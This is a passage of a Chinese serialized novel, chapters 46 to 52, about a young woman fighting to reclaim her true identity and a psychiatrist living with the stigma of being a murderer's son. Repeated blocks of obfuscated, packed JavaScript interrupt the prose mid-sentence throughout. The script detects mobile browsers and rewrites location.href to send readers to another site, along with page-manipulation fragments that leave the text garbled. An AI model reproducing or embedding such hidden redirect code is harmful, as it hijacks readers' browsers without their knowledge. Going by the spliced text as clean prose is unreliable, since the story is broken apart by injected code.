杨敏换了个提问的方式。“你不回家去看奶奶吗？你奶奶年纪大了，你没有有想过，这么折腾，老人家有可能受不了。” 沈婷婷苦笑。“我用什么身份回去看奶奶。我现在是沈婷婷，不是沈依依。沈婷婷不是她的孙女，沈依依才是。” “看来，你是一定要做沈依依了。亲情，恩情，人情世故，你都是不管不顾了。” “我们不是说好了的吗？我就是要个对错。亲情恩情人情世故也是讲道理的，也是要有个对错分明的，不能糊里糊涂的活着。” “但是，你真的不明白吗？世界上的大多数人就是这么糊里糊涂地活着。我问你，考试作弊对不对？” “当然不对。” “如果考试作弊的人是你最好的朋友，你要不要检举揭发？” “杀人犯是不是罪大恶极？” “那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729769|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然。” “如果杀人犯是你的最亲的人，你的父母兄弟，你要怎样？你要跟着划清界限，跟着世人一起唾弃你的父母兄弟吗？” 沈婷婷犹豫了片刻，她不能确定，但是如果她不回答这个问题，她又觉得自己是个卑鄙小人。 “如果是父母兄弟，他们杀了人，那是自然要划清界限的。” “怎么才算是划清界限呢？” “不来往吧。就当这个人死了，就当他不存在。” “你会唾弃你的父母兄弟吗？如果他是杀人犯，你会当着世人的面，用最恶毒的言语来唾弃你的父母兄弟吗？” “既然是杀人犯，骂他的人那么多，自己的亲人还是算了吧。” “如果你是受害者的家属，你的父母兄弟去世了，杀人犯的父母兄弟却是活得好好的。他们不言不语，你又是什么感受？” “我大概，会觉得家属很冷酷很自私，我甚至有可能会觉得家属就是帮凶。” “是啊，能够把子女教成杀人犯的父母，又怎么会是好人呢？父母兄弟是杀人犯，这样的环境下长大的孩子，又怎么会是好人呢？” 杨敏的一番话，让沈婷婷思绪混乱，费了好大的劲才清醒了神志。 “你为什么要跟说这些？你们，不打算帮我了吗？你们是不是也跟那些人一样，觉得我坚持要做沈依依，是忘恩负义，是白眼狼？你们明明答应过我的。我以为你们是理解我的。我以为你们是好人。” “好人？”杨敏笑了，“徐佳佳，她居然认为你是个好人。天啊。居然有人认为你是好人。徐佳佳，你也有这么一天啊。你不是最恨好人的吗？” 46. 第 46 章 站在沈婷婷的角度，在她绝望无助的时候，她是渴望世上的好人来帮她的。但是，至于这个世上的好人，到底有没有责任来帮她，到底是不是非帮她不可的，她是从来没有想过的。 “如果你们不愿意帮我也没关系。这是我自己的事。你们已经帮我帮得够多了。以后的事，我自己来处理吧。” 沈婷婷说句话，是因为身体里面还有一处情绪叫做自尊。事实上，那不是她的本意。她是希望着，依赖着徐佳佳和杨敏的帮忙的。当她们两个在她身边陪着她，帮她联系医院，联系医生，教她填写表格。或者哪怕是什么都不做，什么也不说，只是待在她身边，她都觉得是温暖的，有依靠的。 沈婷婷到底是年轻，因为年轻，身体里与生俱来的自尊没有因为岁月的流逝而流逝得太过厉害，甚至有些多余。 下了火车。徐佳佳问沈婷婷。 “你知道回家的路吗？” “知道。” “那好，我们走了。” 沈婷婷来不及说话，徐佳佳和杨敏真的走了。沈婷婷想喊住他们，她张了张嘴，到底还是没有喊出来。就这么眼睁睁地看着她们离开，远去，直到再也看不见。 沈婷婷一个人在车站呆了很久。是的，她知道回家的路怎么走，但是，她不知道，哪里才是她的家。沈涛的家，从来就是不是她的家。奶奶，奶奶说过，要她回家。 沈婷婷回到了出生的小镇，沿着石板路慢慢地走着，独自一人。她是在这里长大的，这是一个很小的镇子，镇上的人都是沾着亲带着故的。自然而然，他们也是认识沈婷婷的。 人们看到沈婷婷，先着惊讶着，然后是勉强地笑着。 “回来了。” “回家啊。” “还好吧。” 人们说着问候的话，但是都不约而同地略过了她的名字。 “回来了，回来了就好。”这是另外的一种问候方式，一种饱含着期待，期待着息事宁人，期待着从此以后，就这么平静地，糊里糊涂过日子。 沈婷婷就这么走着，每走一步，她的心里都滋生着恨。如果她更勇敢一些，她想要冲上去，揪住那些虚伪地笑着的人们的衣领。冲着他们吼叫。 “你们为什么不敢喊我的名字！” “你们为什么要说谎！” 人情，恩情，还有善良，让人们觉得正确和错误已经不再重要，好好过日子，不吵不闹不折腾才是最重要的。 一个孩子从她身边经过。三岁的小姑娘，走路摇摇晃晃地象只小鸭子，说话也有些口齿不清。她是住在沈婷婷隔壁的小邻居。 “依依姐姐。你是依依姐姐”小姑娘停下来，看了沈婷婷很久，终于认出了她。口齿不清地打着招呼。 刹那间，沈婷婷眼睛一酸，眼泪差点掉下来了。她不想让小姑娘看到她的眼泪，她抬头，看到天上的飞鸟。她不想也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729770|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意把头再低回去。 唐家明再一次看到沈婷婷，是在派出所的门口。 唐家明最近的生活，有一种充满着恶意的快乐。他以为院长会报警，或者是刁难他甚至开除他。他甚至做好随时失业的准备。恰恰相反，院长保持了沉默，同事们也闭上了嘴，好像那天的事情不曾发生过。事实上，有些事情发生了就是发生了，人们看着唐家明的眼神发生了变化——戒备，还有忍耐。 那一天上班，唐家明迟到了，因为下雨出门的时候摔了一跤，摔得还挺狼狈的，一身的泥。赶到医院的时候，正好碰到院长从楼上下来。怎么说呢，如果是个普通人，那应该是倒霉的一天，摔了一跤，迟到了被顶头上司抓个正着。不管怎样，迟到是不对的。唐家明想着跟院长解释一下。哪里知道院长后退了几步，快速地从口袋里掏出手机，好像是在接一个非常重要的电话，走得飞快，转个弯不见了人影。 唐家明就这么呆呆看着院长，他的顶头上司，在他面前逃跑了，即便这一次，犯错的人，是他。 忍耐之外，唐家明在人们的眼神，发现另外一种情绪：恐惧。 人们看着唐家明的眼神，是充满了恐惧的。恐惧，让人们的行为变得非常极端，一方面，他们躲着唐家明，背地里议论着批评着甚至诅咒着。另一方面，他们又对唐家明犯下的错误采取了视而不见的态度。他们不高兴不愿意但是强迫着自己忍受着唐家明的错误。 47. 第 47 章 一开始，唐家明怀疑自己的感觉是错误的。第二天，他又迟到了，故意的，当着院长的面。第三天，第四天......还是没有人批评他，指责他的错误。当然，他听到有人在背后议论他。 “我不过是迟到一次，院长就把我骂得狗血淋头，还扣了我这个月的奖金。太不公平了，他唐家明天天迟到，院长怎么不说，怎么不扣他奖金！” “你敢惹唐家明！他是杀人犯的儿子。你得罪了他，他要是发起狠来，要杀人的。杀人全家的。” “算了算了。迟到就迟到吧，总比逼狠了他去杀人的好。” 这是一件非常有意思的事情。当唐家明把秘密公之于众，人们把他定义成了坏人，天生的坏坯子，潜在的杀人犯。 那个瞬间，唐家明是受到了严重伤害的，也是愤怒的，他砸烂了办公桌上的键盘。他的本意是想砸电脑的。但是电脑太贵了，里面还有重要的资料，他的手一抬起来，就自动地改变了主意，改变了方向，砸烂了更便宜损失也是在可以控制的范围之内的键盘。 从小就立志做一个好人，要跟李庆这样穷凶恶极，给他人带来痛苦和伤害的坏人划清界限。努力着，挣扎着，那么痛苦那么艰难却还是回到了起点。唐家明又能怎么样呢？难道让他去死吗？他认真地考虑了这个问题。唐家明死后的世界会是什么样呢？人们会怎么评价他呢？可以肯定的是，人们的第一反映，杀人犯的儿子唐家明，他死了。生命的消失，真是令人惋惜啊。那样的惋惜，陌生的人们会少一些。毕竟是全然没有感情的陌生人。熟人？朋友？情人？徐佳佳和杨敏吗？唐家明也不能确定，大概会多一些吧。这真是可悲又可怜的自我吹捧。唐家明不由得嘲笑自己。这个世上少了一个杀人犯的儿子，少了一个潜在的杀人犯，嗯，这个世界也许大概可能会更加安全那么一点点。如果思考这个问题的人，是面对唐家明的迟到恶行敢怒不敢言的同事，是曾经被唐家明揪住过衣领，战战兢兢的院长，那么，他们的安全感会来得更加强烈一些。 唐家明是心理医生，他心里是明白的，一个人细细思索自身死亡对他人的影响，对这个世界的影响。事实上，这个人思考的并非死亡，而是生存之道。 唐家明给徐佳佳打了个电话。 “佳佳，是不是无论我做什么，说什么，这个世界都会认为我是杀人犯的儿子？” 接电话的人是杨敏。“佳佳出去了，忘了带手机。是我，杨敏。” 唐家明沉默了。 “怎么，你没话跟我说吗？”电话的那头，杨敏在笑。 突然间，唐家明意识到，他提出的问题，杨敏才是更加适合的回答者。 徐佳佳和杨敏，外人看来，徐佳佳是尖锐不留情面的。但是，让唐家明心生畏惧的人却是杨敏。徐佳佳的愤怒常常象是山洪爆发，汹涌而来，唐家明却是肯定地知道，那些愤怒是可以控制甚至是可以引导的。那些控制和引导愤怒的过程，一个男人面对心爱的女人，最大的愉悦最大的成就感莫过于此。杨敏的愤怒是涌动在地底的岩浆，灸热地流淌着，慢吞吞地推进着。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729771|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要稍稍加快脚步，你就能逃得远远的。但是如果自不量力，主动上前招惹，等待你的只有灰飞烟灭。 是啊，五年过去了，唐家明可以走进律师事务所，站在徐佳佳的面前，却是不敢给杨敏打一个电话。唐家明甚至有些怀疑，杨敏是故意的，故意接了这通电话嘲笑他的狼狈他的挣扎。 唐家明的自尊在杨敏面前是一文不值的。想清楚这一点之后，唐家明反而觉得轻松了。于是，他调整了情绪，重新提问。 “杨敏，是不是无论我做什么，说什么，这个世界都会认为我是杀人犯的儿子？” “你颠倒了顺序，首先，你是杀人犯的儿子，这是你的出生，你必须承认，无法否定，然后才是你的人生。唐家明，你觉得做杀人犯的儿子是痛苦，但是你有没有想过。其实我们每个人并不是赤条条来到这个世界的，我们都被贴上了标签。穷人的孩子，富人的孩子，英雄的孩子，罪犯的孩子，成功者的孩子，失败者的孩子。我们所有的人生，一部分顺应这个标签而生存，另一部分反抗这个标签而生存。但是，不管是顺应还是反抗，殊路同归，我们的一生，还是在被标签束缚着。” “你觉得我应该怎样去做呢？” “你应该怎样去做，那是你的事。” “好吧，那你回答我，你是怎么做的呢？” “和解吧。大概是和解吧。我也是花费了很长的时间才想明白这个道理的。努力跟自己的标签和解吧，努力跟这个世界和解。不要跟自己过不去，也不要跟这个世界过不去。” 48. 第 48 章 “怎样才是跟自己和解？怎么才是跟这个世界和解呢？” “唐家明，你怎么去和解我不知道。但是就我而言，我跟这个世界的和解，就是要告诉你一句话。” “什么话？” “希望你以后不要打电话给徐佳佳。希望你以后人生跟徐佳佳没有关系。以后再遇到沈婷婷，张婷婷李婷婷之类的事情，你还是去找别人吧。唐家明，徐佳佳会对你心软，我不会。你如果给徐佳佳带来痛苦，对于我而言，摧毁一个杀人犯的儿子，并不是一件困难的事。我不象徐佳佳，我心里没有你。” 杨敏挂断了电话。 首先，是作为一个好人的唐家明失败了。然后，唐家明想要向徐佳佳求助。电话却是杨敏接的。杨敏的话说得很漂亮，但是唐家明却是听懂了的——管好你自己，不要来勾引徐佳佳，否则我不会放过你。 唐家明一夜没有睡觉。他的眼睛睁得大大的，一直到天亮。只要一闭上眼睛徐佳佳就钻进了他的脑子里。当初他为了赎罪放弃徐佳佳是错误的。现在徐佳佳看上去强悍，其实是被杨敏控制得死死的。不行，他必须得想出办法来把徐佳佳从杨敏的魔爪里解救出来。徐佳佳只有跟着他才是幸福的。唐家明越往下想，越是觉得不能再这样下去了，必须要做点什么。 如果我们用最简单的方法来定义好人和坏人。好人大多数时候在放弃，而坏人大多数时候是攻击的状态，他们要么在索取，要么在破坏。唐家明想要得到徐佳佳，不再放弃，那么他就必须变得主动。必须要做点什么，也就是说，唐家明要主动去做一个坏人，而不是在此之前人们所认为的，他就是一个坏人。 这么一想，唐家明觉得心里舒坦多了。 唐家明第一次做坏人，没有经验，只能慢慢摸索。还是换一个说法吧。假设这个世上出生的每一个婴儿都是天真无邪的好人，他们也是从来没有做过坏人，他们只有一次的人生，假设他们要做个坏人，那当然也是没有经验的，只能慢慢地摸索。 唐家明虽然下定了决心，做事却是全然没有章法的。好在，一段日子以后，他不仅习惯了迟到，倘若是碰到了同事们说一些他不爱听的话，院长流露出让他觉得不痛快的言行举止，他能当场把脸沉下来，大摇大摆地离开医院，不管是不是上班时间。 有大胆的同事会嚷嚷一声。“喂喂喂，太不象话了，唐家明，你怎么能这样！” 唐家明于是停下脚步，看着这人。他是心理医生，搜集了不少病历，他知道精神病人直勾勾地看人时，正常人，或者说是普通人会因为无知而心生恐惧。于是，他对着镜子练习这个眼神。他有一双跟父亲一模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729772|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的眼睛。他意识到了这个不容改变的事实。于是，哪怕是他自己，看着镜子里的自己，也觉得象是一个完完全全的坏人了。 大胆的同事被胆小的同事劝走了。唐家明觉得好笑。同时也在厌恶着那些胆小的同事。他们认为退一步是保住了平安，却不知道坏人们其实是在一点一点地试探人们的忍耐底限。他厌恶着那些息事宁人的胆小鬼，也更加地厌恶他自己。 唐家明于是更进一步，他把同事的新键盘据为己有，把砸烂的键盘扔到了同事的办公桌上。他看到同事气得全身发抖，握紧了拳头。其实他是有点害怕的。那个同事身强力壮，如果真的动起手来，他拼尽全力即便能赢也会狼狈不堪甚至受伤。突然间，他其实是渴望那个同事把他狠狠地揍一顿的，哪怕是流血受伤。他需要通过身体的疼痛让大脑清醒。又或者，他需要在他越发胆大包天的途中，有人能打断他，有人能往他的内心输入一种叫做惧怕，恐惧的情感。 但是，唐家明失望了。身强力壮的同事的拳头握紧了又松开了。他离开了办公室，到了楼下，就着自来水龙头，洗了个冷水脸，又去了行政办公室，领了个新的键盘回来。 唐家明听到同事们在议论这件事。或者说，同事们在安慰受害者。 “我跟一个疯子生什么气。算了算了。” 49. 第 49 章 小时候我们常常会被问到一个问题，你长大想做什么？答案不是统一的。但是，如果我们中间有一个人大声地说： “我长大了要做一个好人！” 绝大多数的人，包括父母亲人，都会对这样的答案给予表扬。 唐家明想起了小时候，李庆曾经对他说过。 “家明，你长大了一定要做过好人。不要象我一样。” 那一天，李庆没有喝酒，也没有打人，换了件干净的衣服，正在照镜子。 唐家明在写作业。已经是晚上十点了，他还有一张试卷两篇作文没完成。他不想写作业就想睡觉。 李庆的话他没有听得太清楚，一脸茫然。 “你怎么还不去睡觉？”李庆突然提高了声音。 “我还有作业没写完。” “哪来那么多作业，不写了不写了，睡觉睡觉。” 李庆粗暴地把作业扔到了地上，也不知是有意还是无意，用脚踩了上去。 那个瞬间，唐家明开心极了。他有了足够的借口摆脱那些作业。 第二天，他向老师解释。“作业被我爸爸撕掉了。” 老师不信，一定要把李庆请到学校来。唐家明没有了办法，放了学他到处寻找李庆，最后是在麻将馆找到了输急了眼的李庆。李庆不耐烦地问他有什么事？ 唐家明只是个孩子，他知道没交作业被老师批评要请家长是件丢脸的事，但是他不知道在麻将馆里，在李庆的那些所谓的朋友，熟人面前说出这样的事，会让李庆丢脸。 当着众人的面，李庆狠狠地打了唐家明一记耳光。 “滚！”李庆扔给唐家明一个字，然后继续打牌了。 李庆没有去学校，唐家明却必须回到学校。他不敢呆在家里，他害怕父亲回来继续拿他撒气。老师看到唐家明的半边脸都肿了，只是叹息了一声，对于请家长之类的请求，绝口不提。 做坏事是会受到惩罚的，即便是不做作说谎业那样极其微小的坏事。 长大成人的唐家明开始思索另外一个问题：如果做坏事不会受到惩罚呢？即便是做了坏事也能逃脱惩罚呢？ 李庆在遭遇到无法解决的艰难之事时，他会在家里殴打妻子和儿子。他难道不知道殴打，暴力是极其错误极其残暴的事情吗？ 徐盛在痛失好友陷入悲伤和失意的时候，他也会在家殴打妻子和女儿。他是不爱自己的妻子女儿吗？ 李庆还有徐盛，为什么不去大街殴打一个陌生人？ 原因一直都在那儿。 原因一直都极其简单。 殴打陌生人会受到惩罚，殴打家人几乎不会受到惩罚，即便是有人愤怒了扬言要让他们受到惩罚，几句忏悔的话，几滴伤心的泪，就能让他们轻易地逃脱惩罚。 唐家明相信，就象相信他自己一样，李庆也想过要做一个好人。但是一旦他意识到做坏事能够逃脱处罚，他是会放纵自己，放弃做一个好人的目标的。毕竟，做好人意味着付出，忍耐，牺牲。做坏人恰恰相反，是掠夺，自私，特权。 第二天，唐家明去找了院长。他一走进办公室，院长就吓得站了起来。 “找我有什么事？” 是啊，当唐家明是个好人的时候，院长都是坐在椅子上，漫不经心地对他说话。 “沈婷婷的住院手续为什么不齐全？”唐家明开门见山。做坏人就是这样的，直来直往，无需顾忌他人的面子，感受。 “沈涛跟我是堂兄。沈婷婷也是姓沈的，往上面数五代，也能算得上是我侄女儿。都是姓沈的。再怎么样，我们也不会胳膊肘往外拐，都是为了沈婷婷好，这姑娘自从没考上大学就疯疯癫癫的。” 是啊，院长放低了姿态，对唐家明说，他是个好人。 “这件事省里没派人调查吗？” “你是说沈婷婷的病历录入电脑的事吧。调查当然是有的。不过没关系没关系，已经解决了。没事了。我已经把前因后果都跟省里汇报了。病人还很年轻，还有大好的前途。我们医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729773|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院也是为了病人着想。还有家属，也跟领导说明了情况。医院的作法虽然确有不妥，但是出发点是好的。所以这件事的处置结果也出来了，内部警告，以后不再犯就是了。家明啊。今年我们医院委培博士的名额，我搜集了同事们的意见。他们觉得你是最合适的人选择。你考虑考虑，这样的机会很难得的。” 春天的花开得差不多了。河水很清澈，在阳光下闪闪发亮，五颜六色好看极了，又想看又晃得让人睁不开眼睛。唐家明努力地睁开眼睛，看到沈婷婷站在派出所的门口。 派出所人来人往，沈婷婷在门口站着，一动不动。她没有阻碍交通，也没有挡着行人的路。她就是站在那儿，从早上九点站到晚上五点。车辆，行人从她身边，如果是熟悉的人，他们会装作看不见。如果是陌生人，他们还尚且会好奇地看一眼。 唐家明知道，沈婷婷已经站了二十天了。她不跟陌生人说话，如果从派出所出来的人是警察，她就是眼也不眨地看着他们，直到他们从视野里消失。 附近的孩子一开始是好奇的，他们远远的看着。慢慢的，他们胆子越来越大。他们会在沈婷婷身边转悠。 然后他们会试探地问一句：“疯子？” 没有得到回答，他们就肯定地再说一句：“疯子。” 还是没有回答，他们就兴奋起来，高声大叫：“疯子！” 他们的胆子越来越大，他们情绪越来越高涨。他们嘲笑着，往沈婷婷身上吐唾沫。如果警察出来呵斥，他们就笑着一哄而散。他们是孩子，警察也是无可奈何的，只能骂一骂然后又劝一劝沈婷婷，回去吧回家的。你的事我们真的没有办法。 沈婷婷又一次重复着。“我叫沈依依。我要办沈依依的身份证。” 警察离开之后，孩子们回又来了，大概是因为他们觉得警察只不过呵斥了几声，不能把他们怎么样。于是，他们中间胆子最大的那一个，朝着沈婷婷扔起了石头。一边扔一边还象唱歌一样一遍又一遍地喊着：“疯子！疯子！” 50. 第 50 章 即便是离得很远，唐家明也能感觉到那群孩子兴奋之情。他们跟沈婷婷没有恩怨，甚至不一定是讨厌沈婷婷的。事实上，在他们的眼里，沈婷婷已经不是血肉之躯，不是一个人，只是一个物件，一个供他们取乐的物件。 唐家明并不想责怪那群孩子，他们只是孩子。他们只是想做一些与众不同的事情让自己显得特别，获得他人的崇拜。获得了崇拜，哪怕只是那些不懂事的不明是非的胆小鬼们的崇拜，他们也会觉得自己伟大，然后继续去胡作非为，然后一步一步变本加厉。陷入漩涡，在漩涡里越陷越深并且享受着这个陷入过程的人，是看不到边界的。在孩子们看来，高声喊叫一声“疯子”和吐一口唾沫，这两件事之间是没有界限没有区别的。既然如此，那么，扔一块石头，把认定为疯子的沈婷婷砸得头破血流也是没有区别的。唐家明看到熟悉的轨迹，他看到的不是那些孩子，他看到了父亲，也看到了他自己。 值得庆幸的是，有警察出来制止了孩子们。警察抓住了领头的两个孩子，拎进了派出所，呵斥之后，命令他们面朝墙壁站着。 胆大妄为的孩子在被警察逮住，面对墙壁站立的时候，变得无比的老实。甚至有一个胆小的吓得哭了起来。 与此同时，唐家明看到了杨敏，看到她坐在不远处，喝着茶，象是全无感情的陌生人，旁观者，就这么看着，既看到了沈婷婷，也看到了唐家明。 愤怒，促使着唐家明走到了杨敏面前。 “你怎么可以这样？” 杨敏似乎很惊讶。“唐家明，你居然在生气？” “我为什么不能生气？” “这是别人的事情，你为什么要生气？” “我把沈婷婷交给徐佳佳的时候，徐佳佳答应过的，她会帮沈婷婷的。她会帮沈婷婷解决问题的。” “是啊。我知道。所以我及时阻止了佳佳。” “你！杨敏，你知道你现在象什么吗？你就象一个冷血的怪物。”唐家明终于忍无可忍。 “是吗？那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729774|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知不知道，沈婷婷想要的是什么？” “她想要回她的身份。这是最简单的要求。你们为什么不能帮她！” “你错了。沈婷婷想要回的不仅仅是她的身份，她想要回她以前的生活。她想假装一切的错误都不存在，一切的伤害都能被遗忘，所有的好人都心满意足，所有的坏人都不受到惩罚。她想要的，远远超出了徐佳佳所能给予的范围。作为徐佳佳的亲人，我必须要阻止她。沈婷婷再悲惨又怎么样呢？如果她不能认清现实，不能搞清楚自己真正想要的是什么，我是绝对不会让她把徐佳佳拉下水的。” “唐家明，你告诉我，当你的父亲第一次打你的时候，你们的父子之情还能回到从前吗？当你的父亲成为杀人犯的时候，唐家明，你到底是想要做一个好人，还是想要假装所有的错误都不存在，还是想要欺骗你自己，装作那个叫做唐家明的人，从来就没有，将来也不会发生变化？你骗不了别人，更骗不了你自己。你变了。你的人变了。你的生活也变了。” 51. 第 51 章 我们每个人都会把自己的内心世界分成两个部分，一个是习惯，一个是好奇。他们都是生存的本能。我们相信好奇心会带来危险和灾难，我们也相信一成不变的习惯更安全也更舒适。每当好奇心涌动起来，习惯就会列举一成不变的好处和舒适一点一点地杀死好奇心。只可惜，习惯能够控制的从来只是我们自己，我们无法阻止这个世界发生变化甚至是意外或者是危险的降临。意外之后，我们总是告诉自己，回到从前，回到习惯，就能找回舒适的自己，就能找到快乐和幸福。我们拒绝承认，事实上，意外已经改变了我们的内心。无论我们怎么努力，也回到不从前。 如果唐家明有一盏阿拉伯神灯，他会祈祷一切的恶都没有发生过。他渴望回到从前，孩童时的唐家明，还是父亲的李庆，会给他买白得发亮的运动鞋的父亲。这是一种执念，这样的执念，支撑着唐家明内心世界里的所有的善良和美好。是的，善良而美好的执念，也在让唐家明痛苦而迷失。他忘记了，他其实也只是一个普通人。他会抱怨下雨天，他会在繁忙的工作之余渴望偶尔的迟到早退带来的窃喜。他把自己陷在了困局之中，他一边要求自己做个诚实而高尚的人，一边却在隐瞒甚至否认自己是杀人犯的儿子。他有很多的愤怒，每一次愤怒涌上心头，他都会问自己：这样的愤怒是正常人的愤怒吗？这样的愤怒是不是因为他是杀人犯的儿子？这样的愤怒距离他成为一个杀人犯，还有多远？ 是的。杨敏撕下了他的面具，他是一个无法面对自我任何缺点的虚伪的人。他害怕自己的身体里有任何的缺点。他的内心还停留在童年，他不过是在奢望，一切的恶行从来没有发生过。 唐家明在杨敏身边坐下。他的手在发抖，他的内心慌乱极了。 “杨敏，我不知道怎么去做？” “其实我也不知道。”杨敏说，她的神情有些悲伤，但是更多的是释然。“唐家明，我们有过一个孩子，只活了两个月。那个时候，我真心想过要跟你过一辈子。我们都是有能力而且很努力的人。没有理由找不到幸福，不是吗？每一天，我都这样对自己说。你也一样。但是，孩子走了。医生说是因为我心理压力太大。一开始我是拒绝这个理由的。直到半夜里醒来，我的身体在流血。我很想很想有一个人能在我身边陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729775|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着我。我拿起手机，拨打的是徐佳佳的电话。唐家明，这就是我们的悲剧了。不管我们怎么有能力，不管我们怎么努力，我仍然无法把你当成唐家明，我仍然认为你是李庆的儿子。” 唐家明以为自己会愤怒，但是，奇异的，他没有。他平静地接受了。 “是啊，我是李庆的儿子。这个事实，不久以前我自己在单位公开了。”唐家明说。“我以为公开这样的事情是一件艰难的事情，艰难到我一直认为自己是做不到的。但是，豁出去了，一闭眼一咬牙豁出去了。我还活着，不能说是幸福，但是很轻松，也很自在。这种感觉，大概只有你能理解了。” 唐家明看着不远处的沈婷婷。突然间，他明白了沈婷婷的执念。她恐惧的不是死亡，是放在眼前的事实。她的执念会让她的世界翻天覆地，她的亲人，她的恩人，都会因为她的执念视她为仇人。是啊，这就是沈婷婷的悲剧了，她放不下执念，也放不下令她舒适的习惯。是啊，这也是唐家明的执念了。他努力制造一个全新的自我，却忘了这个世界，一切的恩怨情仇，一直都在按部就班地习惯着舒适着防御着也顽固着。 52. 第 52 章 唐家明看到一位老奶奶走到了沈婷婷的身边。她怔怔地看着沈婷婷好一会儿，流下泪的。她在伤心。沈婷婷也流泪了，她也在伤心。突然，老奶奶扑到了沈婷婷身上，没头没脑地用拳头一下又一下地打在沈婷婷的身上。她下手非常有分寸，避开了脸，挑选的都是不会对人体造成严重伤害的地方，例如胳膊，大腿之类。 “她是沈婷婷的奶奶。”杨敏解释说。然后她嘲笑着，强调了一遍。“亲生的。” “她每天都会来，她的目的只有一个，就是让沈婷婷回家，不要闹腾了。” “忘恩负义！忘恩负义啊。”老奶奶痛不欲生。“你的良心去哪儿了！被狗吃了吗？你怎么能忘恩负义呢。他是你的恩人啊。你还记不记得，三岁的时候你高烧，是他半夜开车送你去医院。没有他，你早就死了。你怎么能对我的救命恩人忘恩负义！” 杨敏笑了。“你看，这就是我们生活的世界。亲人，朋友，恩人还有仇人，每当我们说，这件事你做错了。你必须改正错误。马上，你的亲人和朋友会站出来，对了，他们比你更伤心，他们比你更加懂得感情，他们比你有着更多的正义感，他们会劝导你，批评你，甚至指责你，是啊，不过是一个错误罢了，怎么能够因为一个错误就变成忘恩负义之徒呢？” 是啊，这就是沈婷婷怎么也走不出的矛盾。她想要纠正错误，与此同时，她也不想成为忘恩负义之徒。她想要纠正错误，她还想她的生活回到从前，亲人，恩人，朋友，都能够象从前一样和她相处。 太阳照样升起，人们不会介意今天的太阳不是昨天的太阳，明天的太阳也不是今天的太阳。一期一会，一季一花，人们只是偶尔会感慨，但是不会介意。 “沈婷婷会怎么选？”唐家明问。 